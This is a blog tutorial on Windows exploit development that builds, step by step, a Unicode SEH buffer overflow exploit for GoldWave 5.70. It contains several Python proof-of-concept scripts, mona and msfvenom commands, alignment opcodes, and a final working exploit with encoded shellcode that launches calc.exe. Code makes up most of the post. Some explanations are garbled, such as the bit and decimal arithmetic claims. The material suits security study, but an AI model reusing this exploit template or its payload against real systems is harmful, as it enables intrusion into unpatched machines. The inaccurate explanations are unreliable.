Windows Exploit Development Part V
Buffer Overflow Unicode with SEH protection
Hello everyone. I’m going to talk about Windows Exploit Development Unicode today. His @bzyo_ exploit is going to be used by me. It can be found on twitter. You can find the final code at https://www.exploit-db.com/exploits/44423.
GoldWave 5.70 is the concerned software.
Overflow of Unicode. A buffer overflow is caused by putting unicode characters where ASCII characters are expected. This is called a “unicode overflow.” (ASCII and Unicode are both ways for computers to describe text. In ASCII, the word “a,” for example, is represented by the number 97. ASCII codes only cover characters from Western languages, but unicode can make characters for almost every written language on Earth. Unicode has a lot more characters than ASCII, so many of its characters are bigger than the biggest ASCII character.
Keep in mind Bad characters won’t be important here. When we attack this kind of program, our buffer overflow will almost certainly be changed to Unicode before it is sent to the stack. Most of the time, this means that our buffer will be made bigger by adding 0x00 to the original bytes (A = 41 in ASCII, but A = 0041 in UNICODE). With Unicode, you can only change two of these four bits.
Ok, let’s make a simple PoC in Python and then look at what happened in Immunity Debugger.
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# PoC
# 1. generate goldwave570.txt, copy contents to clipboard
# 2. open gold wave app
# 3. select File, Open URL...
# 4. paste contents from clipboard after 'http://'
# 5. select OK
# 6. pop calc
junk = "\x41" * 5000
payload = junk
try:
f=open("PoC.txt","w")
print "[+] Creating %s bytes payload..." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
If you look at the picture, you can see that Unicode is written over the memory. Because SEH is replace, this method is similar to SEH.
Now we need to calculate the offset using mona.py.
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!mona pc 5000 -- create pattern
!mona findmsp -- found offset
Edit the POC.
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# PoC
# 1. generate goldwave570.txt, copy contents to clipboard
# 2. open gold wave app
# 3. select File, Open URL...
# 4. paste contents from clipboard after 'http://'
# 5. select OK
# 6. pop calc
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
payload = junk
try:
f=open("PoC.txt","w")
print "[+] Creating %s bytes payload..." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
We now know where to start.If you remember from buffer overflow SEH, we had to find a pop pop ret address and use a jump for nseh. This time, though, things are a little different. Before we move on, let’s take a closer look at how the CPU lines up unicode instructions when it runs them.
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006E00 ADD BYTE PTR DS:[ESI],CH
006F00 ADD BYTE PTR DS:[EDI],CH
007000 ADD BYTE PTR DS:[EAX],DH
007100 ADD BYTE PTR DS:[ECX],DH
007200 ADD BYTE PTR DS:[EDX],DH
007300 ADD BYTE PTR DS:[EBX],DH
These instructions modify the values at specific memory addresses by performing addition with specific registers. The exact purpose and context of these instructions depend on the surrounding code and the values of the registers involved.
We can’t use a short jump for nseh. We will have to be content with putting some harmless instructions there. So I decide to use a popad like \x61\x62.
Edit POC.
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# PoC
# 1. generate goldwave570.txt, copy contents to clipboard
# 2. open gold wave app
# 3. select File, Open URL...
# 4. paste contents from clipboard after 'http://'
# 5. select OK
# 6. pop calc
junk = "A"*1019
nseh="\x61\x62" # #nseh popad
seh="C"*2
payload = junk +nseh+seh+"B"*5000
try:
f=open("PoC.txt","w")
print "[+] Creating %s bytes payload..." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
So far, everything is going well. We see popad in SEH, which is good. Now it’s time to find a pop pop ret that works with Unicode.
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!mona seh -cp unicode
This address works with Unicode code point 0x006d000f. Now it’s time for shellcode. To take the null bite, we need to use a Venetian shellcode.Check out this blog mona codealign to learn more about how to make your own Venetian shellcode https://www.floyd.ch/?tag=venetian-shellcode-alignment.
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"\x53" # push ebx
"\x47" # align
"\x58" # pop eax
"\x47" # align
"\x05\x16\x11" # add eax,600
"\x47" # align
"\x2d\x13\x11" # sub eax,300
"\x47" # align
"\x50" # push eax
"\x47" # align
"\xc3" # retn
\x53: Pushes the value of EBX onto the stack.\x47: This instruction is used for alignment purposes and does not perform any significant operation.\x58: Pops the top value from the stack into EAX.\x47: Another alignment instruction.\x05\x16\x11: Adds the immediate value 0x1116 (600 in decimal) to EAX.\x47: Alignment instruction.\x2d\x13\x11: Subtracts the immediate value 0x1113 (300 in decimal) from EAX.\x47: Alignment instruction.\x50: Pushes the value of EAX onto the stack.\x47: Alignment instruction.\xc3: Causes a retn (return) instruction, which returns control from a subroutine.
To generate our payload we can use msfvenom
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msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AA"
"PAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXTBKPM0M0S0DIK501I0C44"
"K0PP0DKPRLLTKQBMDTKBRO8LOFWOZMV01KOFLOLS13LLBNLO0WQXOLMKQI7K2KB0RQGTKPRN0DK0J"
"OL4K0LN1CHISOXKQXQ214K0YMPKQJ3DK0IN8K3NZOYTKNT4KM1YFNQKO6L91XOLMM1WW08IP45ZVK"
"S3MZXOKSMMTRUK4B8TKPXO4M1YCBFDKLLPKDKR8MLM1YC4KKTTKM18PU9PDO4MT1K1KQQR91J0QKO"
"IP1O1O1J4KN2ZK4MQMRJM14MSUVRM0M0M0PP2HNQTKROSWKO8UWKZPH55R1FQX6FF5WMEMKOXUOLL"
"F3LKZE0KKYPRUM5GKOWMCCBRO2JM023KOYE1S1QRLBCNNRERX1UM0AA"
Let’s put all the pieces together to make a Poc. But @bzyo_ told me before I did this, “The most important part of unicode is the nops right before your message. If you don’t nop slide exactly to your payload, it won’t work.” That’s not so simple to do.
Final Poc
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# PoC
# 1. generate goldwave570.txt, copy contents to clipboard
# 2. open gold wave app
# 3. select File, Open URL...
# 4. paste contents from clipboard after 'http://'
# 5. select OK
# 6. pop calc
junk = "A"*1019
nseh="\x61\x62" # nseh popad
seh="\x0f\x6d" # 0x006d000f : pop ecx # pop ebp # ret | startnull,unicode,ascii {PAGE_EXECUTE_READ} [GoldWave.exe]
valign = (
"\x53" # push ebx
"\x47" # align
"\x58" # pop eax
"\x47" # align
"\x05\x16\x11" # add eax,600
"\x47" # align
"\x2d\x13\x11" # sub eax,300
"\x47" # align
"\x50" # push eax
"\x47" # align
"\xc3" # retn
)
nop="\x90"*365
shellcode=(
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AA"
"PAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXTBKPM0M0S0DIK501I0C44"
"K0PP0DKPRLLTKQBMDTKBRO8LOFWOZMV01KOFLOLS13LLBNLO0WQXOLMKQI7K2KB0RQGTKPRN0DK0J"
"OL4K0LN1CHISOXKQXQ214K0YMPKQJ3DK0IN8K3NZOYTKNT4KM1YFNQKO6L91XOLMM1WW08IP45ZVK"
"S3MZXOKSMMTRUK4B8TKPXO4M1YCBFDKLLPKDKR8MLM1YC4KKTTKM18PU9PDO4MT1K1KQQR91J0QKO"
"IP1O1O1J4KN2ZK4MQMRJM14MSUVRM0M0M0PP2HNQTKROSWKO8UWKZPH55R1FQX6FF5WMEMKOXUOLL"
"F3LKZE0KKYPRUM5GKOWMCCBRO2JM023KOYE1S1QRLBCNNRERX1UM0AA")
payload = junk +nseh+seh+valign+nop+shellcode+"B"*5000
try:
f=open("PoC.txt","w")
print "[+] Creating %s bytes payload..." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
Reference
http://www.fuzzysecurity.com/tutorials/expDev/5.html
https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf
http://lilxam.tuxfamily.org/blog/?p=259&lang=en
https://www.securitysift.com/windows-exploit-development-part-7-unicode-buffer-overflows/